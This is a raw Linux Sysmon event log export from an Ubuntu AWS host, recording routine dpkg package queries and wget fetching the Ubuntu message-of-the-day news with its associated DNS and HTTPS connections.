21:26:06.154{ec2d99e9-68ee-61b6-70bc-ab7065550000}17670/usr/bin/wgetrootudptruefalse127.0.0.1-43096-false127.0.0.53-53- 354300x800000000000000031696844Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-12 21:26:06.284{ec2d99e9-68ee-61b6-70bc-ab7065550000}17670/usr/bin/wgetroottcptruefalse10.0.1.25-52314-false54.171.230.55-443- 534500x800000000000000031697237Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-12 21:26:06.672{ec2d99e9-68ee-61b6-70bc-ab7065550000}17670/usr/bin/wgetroot 154100x800000000000000033023493Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-13 07:03:27.562{ec2d99e9-f03f-61b6-7071-5f0ad2550000}18839/usr/bin/dpkg-----dpkg -l wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}18838--- 154100x800000000000000033023496Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-13 07:03:27.562{ec2d99e9-f03f-61b6-a002-4897e2550000}18839/usr/bin/dpkg-query-----dpkg-query --list -- wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}18838--- 154100x800000000000000033023813Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-13 07:03:28.012{ec2d99e9-f040-61b6-70dc-20b21f560000}18863/usr/bin/wget-----wget --timeout 60 -U wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/5.4.0-1060-aws/x86_64 Intel(R)/Xeon(R)/Platinum/8175M/CPU/@/2.50GHz cloud_id/aws -O- --content-on-error https://motd.ubuntu.com/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{ec2d99e9-f03f-61b6-68a2-8ae20e560000}18824/bin/dash/bin/shroot 354300x800000000000000033023814Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-13 07:03:28.016{ec2d99e9-f040-61b6-70dc-20b21f560000}18863/usr/bin/wgetrootudptruefalse127.0.0.1-51408-false127.0.0.53-53- 354300x800000000000000033025112Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-13 07:04:28.159{ec2d99e9-f040-61b6-70dc-20b21f560000}18863/usr/bin/wgetroottcptruefalse10.0.1.25-38082-false54.171.230.55-443- 534500x800000000000000033025721Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-13 07:04:44.594{ec2d99e9-f040-61b6-70dc-20b21f560000}18863/usr/bin/wgetroot